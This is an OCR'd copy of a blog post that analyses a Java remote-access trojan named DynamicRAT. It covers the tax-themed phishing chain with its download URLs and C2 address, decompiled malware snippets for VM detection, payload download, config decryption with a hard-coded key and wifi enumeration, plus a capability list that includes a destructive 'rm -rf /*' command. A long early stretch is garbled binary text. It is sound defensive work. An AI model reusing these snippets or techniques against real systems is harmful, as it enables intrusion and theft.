https://gi7wOrm.medium.com /dynamicrat-a-full-fledged-java-rat-1a2dabb11694

DynamicRAT — A full-fledged Java Rat
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Hello everyone, welcome back to one of my sporadical blog posts. Due to some fortunate circumstances, I finally

have the honor to name my very first malware family. Here is how it happened:

On Tuesday, 06.06.2023, I was notified by one of my infosec colleagues, Fate, about a strange “.jar” file he had
found in his network. While execution had been prevented through the AV, the file did stick out, because when

looking at its strings, Fate had noticed several substrings that contained the word “attack” in it:

Press enter or click to view image in full size

Page 1 of 18


https://gi7w0rm.medium.com/?source=post_page---byline--1a2dabb11694---------------------------------------
https://gi7w0rm.medium.com/?source=post_page---byline--1a2dabb11694---------------------------------------
https://gi7w0rm.medium.com/?source=post_page---byline--1a2dabb11694---------------------------------------
https://gi7w0rm.medium.com/?source=post_page---byline--1a2dabb11694---------------------------------------
http://twitter.com/tosscoinwitcher

https://gi7wOrm.medium.com /dynamicrat-a-full-fledged-java-rat-1a2dabb11694

g e = e A e AR o | TMEETALEIS + — Catmr ¢ wrret  SSACACSSESESrEMoE s ASASEmr e
ek ! ECECE ‘Hoi G o | Misd M *@iflepT +54m0 o4 : N¥EREN | SIAFO{BTKETSE Y~ —; ) &-V10B8a7A10M M ; P »FElk
LAY b dynam_i.c.fclientfattacﬂfimplinnecraftEncryptiDrﬂttackImpl.classuWi(
@1
L) OnEEA ) ; 3EECE
I°9"3230L08Y3AS@EM<ncd Fu] l; SE= NS« cﬁmismn,l«xéa'stjﬁidﬁwép:ﬂ-a' . SRR =04
C-E " rOWEK BRI Uz0a«UE T3 §ICS ~4 EEDZ EEWs A ERNNK - 45 EFUA UL W i - ERGC EEAs0 = /3 s BT 7 oF
iB~aMMA | A0-£ (BOBYS | 3=(< eAT< DN . EIE"""YY HzBcu ) #1&NM. laZlD*:ﬁP‘lmFm%“f yYC_"laC“\%Srf
E‘.GEE)Y&3¢&.‘DGCE n<*d<kNa© “ 025k (mEMAGE:iNIi " @G JFEE™S s ML BY S~ Bl SEIEVW AOI O )

O=°Tnv7 gy DEN DRz 10, LicdCHEmQLES« @ ;05 + rUIeMSqlce-TiJgWoeDest cEMRLe ;Y| ;@R JYL
‘xzb, $6%=A"=Dek :th“=iﬁ.a_<.'z®|dovﬂ<:Y'Wrr.¥comlk'ép,aw_ 10 EEERAGT°Log”ANEE] |
"AEB-GPES | GOEREn S0EEEVAeEReFW" F5x24 0~ +UEE-cnCBl: ¢ BilgglAi¥] [«mi iR B ; °rEm:
Agi=£60 : TEEEn ° @i LA & 60 L MR-~ C- 1051 B« iB=05 ° "nd @ Aa1y0, ¢ TNERAGuEe10s TocnENER
[EELIs1S 0]

< E¥E " eLEgca| cBé (Wt E S CIABE LB S Kietapts 2 CE NN D C 1 IS E TX ECT D 2 MES|ESIES)
iV g dy‘namic/client/’a.ttack/’irf.pl;’HidecraftLDgiﬂttacklrﬁpl.classuWﬁWlmW
9. A U2¥i.ingripuTeseCh,; AEAd® 7. 04F EBo (PALFYLiET FRAIADZEx ICE@AYE3AFL " REMFRIETo -+
16, 00N1 }) 2 K@eEE= 2, me 2, cEEmEMA\ LAX« DEI@0E, AHyE A EERE - %0~ U0 1ACROES (4 % = Y4 - ERR~E
Ladha—% EfEle{°q EuCESse!YFPEEE
IEEBICAE ] 2E My » ~~G—2V " Eu 7 EEmE W RS
v -o#i™E] +@ 607 selEle
e%iJ.FL!-yC€!DT1-=_ND¢CIoeI_. Lot R P >0 DT @ i a1 SeERE R kT, qf Ol SEE ER e c:ér'jmapraq;rtﬂ~
ST, &1 E[*—p [Aae€r:—<U| * »@I@L0** - i6-@E ;p=S@lleHEC A8 E@Umefg b” = 0E
_«z A5 = zE®wd |~ A, A R ET?itREePTLT 5a%S 540 . o b8! =szé:c‘:é¥° i

C4 ’“—|§fb§'pe& a GBIK:'!'ZZ:'[«{ ¥"'De -_‘LDD JKEJE-‘“ ]

A—»%.J:thAElaE— »plE B
-EIaP —T —11¥- Jofel =T 3 i : FRE) BEER: -E~ElW ! Aim
0, = ! EEENE 54 “e'ﬁmlemwmplyP A 5 L5 L.O )
dynamic/client/attack/impl/MinecraftMotdhttackInpl . classpWUWOV RN ERE
C2B AT 0Ig#"Fak g ¥ (EEc 41 R A IALITDS, & AT ) G4, :Yz-0fmF7s"L 5°x0
fEE Y1:" }D7Y0r.EiASiBIvACT oy 0N el I E2 Mls 0§« iR 7 " nE301uié 9ot ® « & [ BE-AE ° L ERNA,, . B

& SeUcUAdZOETe¥ T2 65 ERaD 4 oblen, Bidl: s 2 g@mG4™ ! 2RSS ERI-E Y P s —AS @A [ +4%0
/8, cxedNiBSb3is - vl BEMESY ° J«RaA* IpERAr4 ' & @FEAD | nETeUZsal@tnieH> ckipgikBEB+ik-5c%i[-

TUt—ql B2 | EYNGeECH, ~ e, K" -1

. E x EF%N s\ I—f:. h, IE — > 0OFnyte} AEni pEE" & g B g ia'usfs

Y¥¢ - AEAGY VORI ENRIEEES > SWoniEiE x iR ExiB L Sef 2 eHECeDAS2 > Aconh—oxi- M2 A - 2xA T uEZD
< EROaL {z0; "-c mis 4, _f AT CU$EzS | »EMz0 s | tAA xoei 24 SN0 (15 6%) § EHE
L/AGE -+ DY 5 4% R A00x " 19 £ b s DR DAL EE): LR z07 Ay 4 IEvoReRAitecaDs~ej=ocEMkscF21Ct
=’ [ @fe0, *Lbe> ESCYSERG : ¢vT1eoveXwip BEEE w BB :a K- CmiDRw

+E{iTE A= Bt ERTE° L 45CKT on~ EENGS @ DA AR~ ; {T0APAN! °K; ' (D1EA

SOCALEPAGE” 2B aOem#xDCZD&uDD%€- ¢ (C BN PEESOS T r v 07 wlevQ; BEO = " SHER»' j0&I
H}@k olXd

E[Ve" - LecE®E [FAT { o EHERERc AEE LS MRDEEWT {¥6p0 \ voCORMERRED 57 L @M Ta=252 , >EHEEk O
CEVHY" +*oEINSEEMELR : © E«z-X0R, B@5tha\1a "} - EEREV DG EAIERR - S EORE "f: Bl 3| io 288
FA 1 dynamic/client/attack/impl/NativehttackImpl.class¥W aﬁﬁﬂpphf’“’@
1€1foyi¥; ey 101 >z ARV EGE : nicEnACIONEE>- A+ 6 -2 Tohl A «0; InACHEec B

§~UALSU"EEEGX ?r EP:sdnut | A4 1 CHENT—< gL " ' 101 cSEB UMM, 'x—EulMLE, ad | B BEC Alttg >z

"+ ) 36h) FAUMInAD aot SAEEYERMEDT20 fdoia:1merd 2z021@

&0 }EqEm | cEMERTT -
[DELERSod D . =0if’ fhec- 4566 36 FEAN SE- AR GELDEMEe, ; MBI e,
T C@EWE T«  PYASALN \n t vEERIIG kOXAE. 8AY) 2Z° F¥Nui\-pY, (EREE"p+A9oER
Ko l31Iz,zW90;=gegl0:e0™3" EXH:s }-c&iieds | BV, . —AERM+<cSite+ 0T MEI0AS 11 r Billn«t s

ZV 'y0i&” InrS>s U2 iZd08qwElal’ [ (8- SeNa*BEN °  xXaEl"=r@BBAT3hE
+.__Fﬁ‘°:l—|Laa,. °

e 2GhERE TATURICS : Seh TnOEGHA EmET Ixzuﬁ.o’"w@m T |7 Y,

SJE@*xHE:; 1%qu=¢ SEmsG; 14“'U¢]1[§ UE[ESJ._'LDVS”' P-:|51~?-F§.I-Ié/d[==é AR ceioctTIEd
fz“]-:fo#ié Dst, Y_'L(I:J. 70 M—. frcz
\%300 YEV
dzYa4-~imE){ <ER) :iI}[& aeaUObI\§“‘q«flI 2
tEa3m+EER’ >cXY9eE; 2 23%c £3» FEEs S v(E > ; 3EP+
AN |Et‘J::S.a«"‘+'Eﬁwaﬁsﬁt@c1’“~c )[a3) 11¥#r6*'%ﬂ D
OIcEM (ALL m'ae} 1B ¥s@@@sp.E+, CaTER{ Bl6 s -5p> [TEHE) TN ; Vo R M HEE - 1= (<2 : KECA]
A.T4acf

G¥oaEOBEA}EBceiArhs"

G1EUEREL v 6 EEN- BRI & BE  VOsESEe) | G ", J\OEE ) @El++ACPEE . 1A hegn O [ MEEmS TGy E £ ERE
O, &-&pFs:  CERLAE
‘AE[EUJ.%l B °U|A’Tg$1m k, eL] !

3>°) 124} ) -

&—BN»1 " IEFRE . coh z—G—@
] SEIIDIC | rlul P i s Slat = Bl
2AYpEBE-xa: o U=E0RS S EE) £ BRA\ L8 +C-41 ' (048 ) WES L E0=F I DT 42
iy\ﬁP@««)\e Ea — @AW enlac« REW

tIniviicEngag UU=firs+LiZ -5/ gE@ad |

EEaEa#, 54 Mv ) ZYDERROCiUT & AL 9 FRENE - GAn TS <Rl ¢11_plho*~ilL.<Pbs2@8E
AT 2 dynamic/client/attack/impl/NettyvAttackImplS$l.class-S]olBBAERE=5-ER°0

Page 2 of 18



https://gi7wOrm.medium.com /dynamicrat-a-full-fledged-java-rat-1a2dabb11694

L= @EBx LIERT660I5EAC T IR ¥ g2 - -

Figure 1: String “ attack™ all over the binary

Curious as to what was going on, he submitted the binary to the online Sandbox Tria.ge: https://tria.ge/230605-
21yt4sbb33
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Figure 2: Activity as seen in Triage

Oddly enough, despite receiving a rating of 7/10, there was not much activity going on. The binary did only spawn
one additional process (netsh.exe) and there was only a single request to the IP address: 178.18.255.246 on port

24464. Compared to other malware we have observed in the last years, this is actually a pretty quiet execution.

However, when Fate showed me this process tree, I immediately got intrigued. The command “netsh wlan show
networks mode=bssid”, which this binary executed, is actually used to show all available Wifi Networks which

are received by the Windows device where the command is executed. I could only think of a few reasons why a
binary should execute such a command and none of them involved a random Java file from the internet. I,

therefore, decided to have a look at the binary myself.

The good thing about Java binaries (.jar) is that Java is an interpreted language. Contrary to compiled languages,
such as C or C++, most binaries in interpreted languages can be decompiled into their original source code. So I

decided to use an online Java decompiler and have a first look at the insides of the strange binary:

Press enter or click to view image in full size
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</> 178.jar

i org folder
network folder

[
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nativelib folder

|

B dynamic folder

Figure 3: Main folder structure

As you can see, I was greeted by 6 different folders, all having pretty standard names. Nothing indicative of evil

going on. [ started to go through the folders, 1 by 1 until I suddenly discovered a very interesting folder:
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B media
Il natives
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B recovery
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</>178.jar > dynamic > client
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Figure 4: RAT main

There is a lot to unpack here, but what caught my eye straight away is the folder “hvnc”. For those of you that
don’t know, HVNC is an abbreviation of Hidden Virtual Network Computing, a term well-known to the malware
community. In its essence, Hidden Virtual Network Computing is a way to implement the VNC protocol, a
protocol used for remotely accessing computer devices, in a way that it does not get noticed by the remote-
controlled device. Basically, if you are infected, it allows the attacker who might be far away from your actual
device to see everything on your Screen and fully control it as if sitting right in front of it themselves. To me, it
was evident from this point on, that I was dealing with some sort of malware. This theory was also backed up by

another finding that Fate shared with me around this time: The infection vector.

The malware had entered his network via a .html e-mail attachment called “Mary1099-businesstax.html” which
upon opening downloaded a .zip file named “W2_and_1095A.zip”. Inside the .zip file, there was a single
executable called “W2_and_1095A_PDF.jar”. This attachment, once executed, had then reached out to
http[:]//giulianilex[.]Jcom/178.jar and downloaded the jar file we were currently looking at. This is definitely not a

benign way of installing software.
Press enter or click to view image in full size
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<script type="text/JavaScript”rsetTimeout("location.href =
‘hteps://smionsa.web. app/W2_and_1095A.21p":",0);</script>

Figure 5: the download functionality inside the .html attachment
A full graph representation of the attack can be seen below:
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SpearPhishing

HTML Attachment: ‘Mary1099-businesstax.html'

Download: 'hxxps[:]//smionsa.web[.]app/W2_and_1095A.zip’

Unzip: 'W2_and_1095A_PDF.jar'

Loads and Executes: ‘http[:]//giulianilex[.]com/178.jar’ (DynamicRAT)

Reaches out to C2: '178.18.255[.]246:24464
Graph 1: Execution Graph of this DynmicRAT campaign

From this point on, we started to find out more about the malware’s capabilities, its functionality, and if it was
related to any publicly known malware. Luckily, the RAT came without any kind of obfuscation, while the Loader

binary had been obfuscated with Allatori Obfuscator v5.3 DEMO. It is unclear why the threat actor did decide

against obfuscating his RAT too, but despite not being obfuscated, it only scored a detection of 5/61 AV solutions

upon initial submission to VirusTotal.

Through further investigation of the different folders, class files, and Java files, I compiled a list of capabilities

associated with this malware (disclaimer, I might have missed something):

## General Features:

- Get 0S details

- detect if running in VM

- get installed Java version

- get system language, ping, processor info, totalMemory
- HVNC

- DDoS (with a Focus on Minecraft Servers)

- use victim camera

- use victim microfone

- get victim geolocation

- proxy capabilities (set proxie, get proxie list)

- File Explorer (including upload, download, create, hide, destroy files)
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- screenrecorder

- keylogger

- remote shell

- get clipboard data

- play sound on victims device

- create a custom message box on victims device
- download additional plugins and dependencies
- kill running processes

- eject (D

- disable input

- disconnect, reconnect and uninstall the rat
- browse any provide url using victims browser
- tamper with Network Data using WinDivert

## Windows specific features

- Registry Manager

- cause a Bluescreen of Death

- shutdown, reboot, crash device

- batch File Creator

- steal account data (Chromium & Firefox based Browsers, FileZilla, WinSCP,
4 different Discord Clients, several different minecraft clients)

- Steal cookies

- get Wifi data (local wifi networks in range)

- ask for Admin Priviliges

- minimize and close open application windows and get foreground window
- disable TaskManager

- disable Run window

- disable Windows Defender (through registry)

- bypass UAC on startup

## Linux specific features
- destroy machine command (via rm - rf /* )

## 0SX specific features
- destroy machine command (via rm - rf /*

)

As you can see, the malware has a thorough list of capabilities allowing for full control of the victim's device.
However, there seems to be a heavy focus on functionalities targeting the Windows operating system, with some
functionalities, such as the ones for stealing credentials having explicit statements in the code that they are only
supported on Windows devices. I will not be able to go into full detail on every observed feature. However, I want

to point out some of the features that stuck out to me in the following sections.
First of all, DymamicRAT has a windows specific configuration class, which can be seen in the image below:

Press enter or click to view image in full size
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public WindowsConfig() {

this. autostartName = "Notepad++";
this.autostartPath = "Roaming\\Notepad++\\plugins\\npp-start-module.jar";
this.startupFolderName = "jre-8-startup-manager.jar";

}

public WindowsConfig(boolean addToStartup, String autostartPath, String autostartham
this.addToStartup = addToStartup;
this. autostartPath = autostartPath;
this.autostartName = autostartName;
this.copyInstartupFolder = copyInStartupFolder;
this.startupFolderName = startupFolderiame;
this.reguestAdminOnStartup = requestAdminOnStartup;
this.uacBypassOnStartup = uacBypassOnStartup;
this.disableDefender = disableDefender;
this.disableTaskManager = disableTaskManager;
this.disableRunWindow = disableRunWindow;
this.hideFiles = hideFiles;
this. grabInformations = grabInformations;

this.vmDetect = wvmDetect;
this.disableUAC = disableUAC;

Figure 6: Windows config class

As can be seen, there are a lot of different configurations which can be set by the malware operator. However, it is

» o«

also important to note the “autostartName”, “autostartPath” and “startupFolderName” variables, as they show that
the malware will try to take the cover of the legitimate Notepad++ application on the victims' device. Those
indicators can be used to hunt for this specific malware binary. While many of the other configs are self-

explanatory, let's have a look at the “vmDetect” capabilities:
Press enter or click to view image in full size

public static boolean isInvm() {
try {
String result = RuntimeUtils.runAndGetOutput("WMIC COMPUTERSYSTEM GET MODEL");
if (result == null)
return false;
if (result.contains("VirtualBox"))
return true;
if (result.contains("DELL"))
return true;
if (result.contains("vMWare Virtual Platform"))
return true;
} catch (Exception e) {
e.printstackTrace();
}

return false;

}

Figure 7: VM detection

The VM detection is done via a wmi-command, querying for the computer system model. If the returned string
contains the words “VirtualBox”, “DELL” or “VMWare Virtual Platform”, the function returns true. Depending
on the chosen configuration this can later lead to the malware stopping execution with a custom error message

seen in the below code snippet:
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% [efg.laysbetact(} a2
danva(}) {
IaptionPane . showdessageDlaloginull, “Error: Irwalid or corrupted jarfileyn™ + Elleutills.getBootstrgorilef ). getabsoluterath(), “Java Wirtual Machine Launcher; @)
Eilsurils #xigi-1};
¥
if {cfg.isbizablenefender())

windows . disabledvi);

if (efg.ispisablesundindon() || cfg.isdisableTaskmsaeer(d)
windows . starteindowkiller(};

Figure 8: Custom error when executing in VM and the right config is set

Another feature that stuck out to me was the network tamper functionality. While I did not fully understand what

the intent of this functionality is, it stuck out for me because for implementing it the malware actually includes
several Windows drivers and DLLs inside its resources.

Press enter or click to view image in full size

MName Date modified

B winDivert32.dil
B winDivert:
B winDiverts4.dil

Application extension

B winDivert6d.sys

Figure 9: Included libraries

The following screenshot gives an idea of how those libraries are used in the code:

Press enter or click to view image in full size
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volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

volatile

String filter;

boolean dropIncoming;
boolean dropOutgoing;
double dropRate;

boolean tamperIncoming;
boolean tamperOutgoing;
double tamperRate;

double byteTamperRate;
boolean tcpResetIncoming;
boolean tcpResetOutgoing;
double tcpResetRate;
boolean reorderIncoming;
boolean reorderOutgoing;
double reorderRate;
boolean duplicateIncoming;
boolean duplicateOutgoing;
double duplicateRate;

int duplicateCount;
boolean bandwidthIncoming;

boolean bandwidthOutgoing;
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public volatile long bandwidthLimit;
public volatile boolean redoChecksum;

public volatile boolean setTcpResetNextPacket;
Figure 10: Network tamper class — booleans
Sidenote: I would be really happy if someone was to take up on this to explain what this capability is used for :)

Another interesting functionality of DynamicRAT is its capability to download and install dependencies. (I do
think there is a functionality to download new modules as well, but I could not fully prove it.) The following code

is used to download and install dependencies:
Press enter or click to view image in full size

public static woid installDependencies(File dir, Module module, InstallCallback callback, List<Client> client) {
if (module.isavailable(})

return;
callback.gnlnstallstarted(medule) ;
try
for (int i = @; i <« module.getDependencies().size(); i++) {
DependencyInfo dep = module.getDependencies().get(i);
File file = new File{dir, dep.petlame().tolLowerCase(} + "-" + dep.getversion() + ".jar"};
if (!file.exists())
downloadFile(module, dep, file, callback};

} catch (Exception e} {
callback.onlnstallFailed(madule, e};

return;

y
callback.gnInstallcompleted{module);
1

Figure 11: dynamically download and install dependencies

The ModuleUtils.class does also contain a downloading functionality, which is the main reason I think that

additional modules can be loaded by the malware:

Press enter or click to view image in full size

public static vodd downloadFile(Medule sodule, Dependencyinfo dependency, File output, InstollCallback callback) throws IOException {
dnt size = -1;
try {
size = getContenttize{dependency.geturl(}};
} catch (Exception exception) {}
int bytes = 8;
URLCannoction con = {new UAL{dependency.geturl()}}.cpenconnection);
if {con instanceof HEtpURLCennaction) {
((HttplRLCannection)cen) . setRequestHathed( "6ET" )5
({HttpURLConnection)con) . setRequestProperty("User-Agant™, "Mozilla/s.0 (Macintosh; U; Intel Mac O5 X 18.4; an-US; rv:1.9.2.2) Geckoy/20080316 Firefox/3.6.27);
}
Inputstieas §n = <on.getInputStresal);
Filefutputitress cut = new Filefutputitream{output);
byte[] data = new byte[8192];
dnt len;
while {({len = in.read(data, @, data.length)) » @) {
cut.write(data, 8, len};
bytes += lon;
if (size > @) {
callback. pnbependencybodnioad(medule, dependency, bytes / size * 1ee.eF);
continug;
1
callback. il Dormnilead(sodule, ¥e ~1.0F);

¥
out, Flush();
out.close();
if (con instanceof HttpuUALConnection)
{ {HttpURLConnection)con) . disconnect();
+

Figure 12: Download functionality with hardcoded UserAgent
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While further sifting the different capabilities of the malware, I also found this particular file in the malware’s core

directory:

package dynamic.core.module;

= public enum CommonModule {
CORE("DynamicRAT Core"),
WEBCAM( "WebCam"),
PASSWORD RECOVERY ("Password Recovery");

Oy LN

-]

private final String name;

=  CommonModule(String name) {
this.name = name;

[

= public String getName() {
16 return this.name;

}

Figure 13: DynamicRAT Core

This is also the reason why I name this threat DynamicRAT, as it seems to be the name given by the author(s)

themselves.

But let's get back to the many “attack” strings noticed by Fate. Indeed, those strings are related to the vast DDoS
capabilities presented by the malware. Interestingly there is a strong focus on game-related infrastructure here,

with Minecraft Servers seeming to be the main target. There is also a TeamSpeak3 DDoS attack included.

Press enter or click to view image in full size
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</>178.jar > dynamic > client > attack

> impl
- folder
=] TCPAttackimpl.java Java 2.27 KB
1 SYNAttackimpl.java java 726 Byte
[ HTTPAttackimpl.java Java  4.36 KB
=] NativeAttacklmpl.java Jjava 4.01 KB
5] MinecraftMotdAttackimpl.java Jjava 2.46 KB

1] MinecraftEncryptionAttacklmpljava .java 4.46 KB

] NettyAttackimpl.java java 2.87 KB
] UDPAttacklimpl.java java  2.22 KB
) TS3HandshakeAttackimpl.java java  2.63KB
=] ACKAttacklmpl.java Jjava 726 Byte
] ThreeWayAttackimpl.java java 756 Byte
[ MinecraftLoginAttackimpl.java Java 2.24 KB

Figure 14: DDoS capabilities

Interestingly enough, this focus on Minecraft and Gaming related targeting can also be observed in
DynamicRAT’s stealer capabilities, with the Stealer being able to target 7 different Minecraft clients and 4
different Discord Clients in addition to the more common stealing capabilities as described in the list of
capabilities at the beginning of this post. At this point, it is also important to note that there are references in the
malware in regards to further stealing capabilities which are not yet implemented. It is therefore very likely that
the creator of the malware is still working on adding new features. Stolen information is saved into a .zip file and

then sent to the C2 Server.
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With this being said, there are only two more features I want to highlight right now. The first is the malware

configuration file and how it is parsed in the malware.

Inside the

resource section of the Java binary, there is a file called “assets.dat”. This file is “AES” encrypted with a

default Java crypto implementation. Upon executing the malware, the Main class executes the following function:

Press enter or click to view image in full size

try {
configManager.load(Main.class. getResourceAsStream(" /assets.dat"), "'LoWf)IxF>P}I{PHjSBG");

for (String arg : args) {

if (arg.tolLowerCase().startsWith("delay:")) {
string[] split = arg.split(":");
try {

Thread.sleep(Integer.parseInt(split[1]) * 1leeaL);

} catch (Throwable throwable) {}

} else if (arg.equalslgnoreCase("ADMINREQ")) {
killMutex();

)]

i

Figure 15: main load config

This function in turn calls the below code to decrypt and load the configuration:

Press enter or click to view image in full size

public wveid leoad(InputStream input, String password) throws IOException {

}

DataInputStream in = new DataInputStream(input);
byte[] encrypted = new byte[in.readInt()];
in.readFully({encrypted);
in.close();
ByteArrayInputStream bais = new ByteArrayInputStream(aesiZs8operation(true, encrypted, password));
in = new DataInputStream(bais);
this.mutex = in.readUnsignedShort();
this.preferIPyé = in.readBoolean();
this.keyloggerEnabled = in.readBoolean()};
this.clientTag = in.readUTF();
int count = in.readInt();
this.addresses = new Arraylist<:{count);
for {int i = @; 1 < count; i++) {
AddressEntry entry = new AddressEntry();
entry.read(in);
this.addresses.add(entry);
b
this.windowsConfig = new WindowsConfig();
this.windowsConfig.read(in);

in.close();

Figure 16: decrypt and load config

Sadly despite trying to reimplement this algorithm myself, I was not able to decrypt the assets file. I continuously

got errors

with Input Length and as I am not sure how extracting the asset file might have changed the bytes in it, I

decided to give up for now. I will update this article with a working decryptor if I should be able to create one. (
See Update 09.06.2023 )

Get Gi7w0rm’s stories in your inbox
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Last but not least, there is only one further function of DynamicRAT I want to highlight. Remember the “netsh”

execution from Tria.ge which actually got me curious about this sample? Well, here it is:
Press enter or click to view image in full size

public Map<String, String» getWlanInfos() {
Map«<String, String> map = new HashMap<>();

try {
map . put("Wlan", RuntimeUtils.prunAndGetOutput("netsh wlan show networks mode=bssid"));

} catch (IDException e) {
e.printStackTrace();
map.put(e.getClass().getSimpleName(), e.getMessage());
¥

return map;

i

Figure 17: netsh wlan data extraction

Turns out the malware indeed uses it to query for all Wifi networks around the target. Besides, the malware also

seems to be able to do its own initiated Wifi Queries via the native Windows “wlanapi”.
Conclusion:

Together with Fate I discovered a new Java-based RAT called DynamicRAT. The malware is currently delivered
via E-Mail attachments using a tax-based scheme. Fate and I have observed at least one governmental agency as a
target. With its vast array of functionalities, DynamicRAT allows for full control of infected devices. This includes
File and Credential Stealing, HVNC and Proxy access, a self-made Registry Editor, DDoS capabilities, and the
possibility of listening and viewing the victim via their own Webcam and Microfone. C2 traffic is encrypted and
from several source code snippets, it seems the malware is still being developed. A low detection rate of only 5/61
AV engines despite not being obfuscated suggests the neat for detection improvements. Luckily in this case the

defender's deployed AV solution was able to prevent execution.

IoC:

Hashes:

Mary1099-businesstax.html
0b283193f0e2c3d9fe8e07ecb1716b869581d73fdf9b9fc18130fal5c244e48d
W2_and_1095A.zip
bf93elceb17206a742dd4f85700ef75f55ad76b04ca8a601c4d2a515151840aa
W2_and_1095A_PDF.jar
149599673311b49302568fcde7dc7ef95e0d37bbal316b88cafb5c68f56e7f1c
178.jar

41a037f09bf41b5cb1ca453289e6ca961d61cd96eeefb1b5bbf153612396d919
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assets.dat
149599673311b49302568fcde7dc7ef95e0d37bba1316b88cafb5c68f56e7f1c
WinDivert32.dl1
625ffdd95bfabff32d0e8a95beabcd303c01c8bba73b90402d4e84d6e15dd8e5
WinDivert32.sys
625ffdd95bfabff32d0e8a95beabcd303c01c8bba73b90402d4e84d6e15dd8e5
WinDivert64.dll
6110bfa44667405179c3e15e12af1b62037e447ed59b054b19042032995e6¢7e
WinDivert64.sys
6110bfa44667405179c3e15e12af1b62037e447ed59b054b19042032995e6¢7e
Network Artifacts:

Initial .zip download:

hxxps[:]//smionsa.web[.]Japp/W2_and_1095A.zip

Second Stage (DynamicRAT)

http[:]//giulianilex[.]Jcom/178.jar

C2 Server (DynamicRAT)

178.18.255[.]1246:24464

Artifacts:

autostartName = “Notepad++”;

autostartPath = “Roaming\\Notepad++\\plugins\\npp-start-module.jar”;
startupFolderName = “jre-8-startup-manager.jar”;

“User-Agent”, “Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.4; en-US; rv:1.9.2.2) Gecko/20100316
Firefox/3.6.2”

Additional IoC:

Pivoting on the different artifacts in this article has resulted in a list of further related IoCs. You can find them on

my Github:

https://github.com/Gi7wOrm/MalwareConfigLists/blob/main/DynamicRAT/IoC.txt
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Update 09.06.2023:

A working DynamicRAT configuration decryptor by my Twitter colleague RussianPanda can now be found here:
https://github.com/RussianPanda95/Configuration extractors/blob/main/DynamicRAT config_decrypt.py

The reason I was unable to create this is that DynamicRATSs config decryptor skips the first 4 bytes of the
extracted assets.dat file, probably because they only contain the length of the file. I did not consider this at the

time of writing but it does explain the “wrong Input size” errors.

Thank you for reading my post! If you like what you just read, consider sending me a tip for future CTI Projects:

https://ko-fi.com/gi7w0rm.

Until next time. Cheers ®®

Source: https://gi7wOrm.medium.com/dynamicrat-a-full-fledged-java-rat-1a2dabb11694
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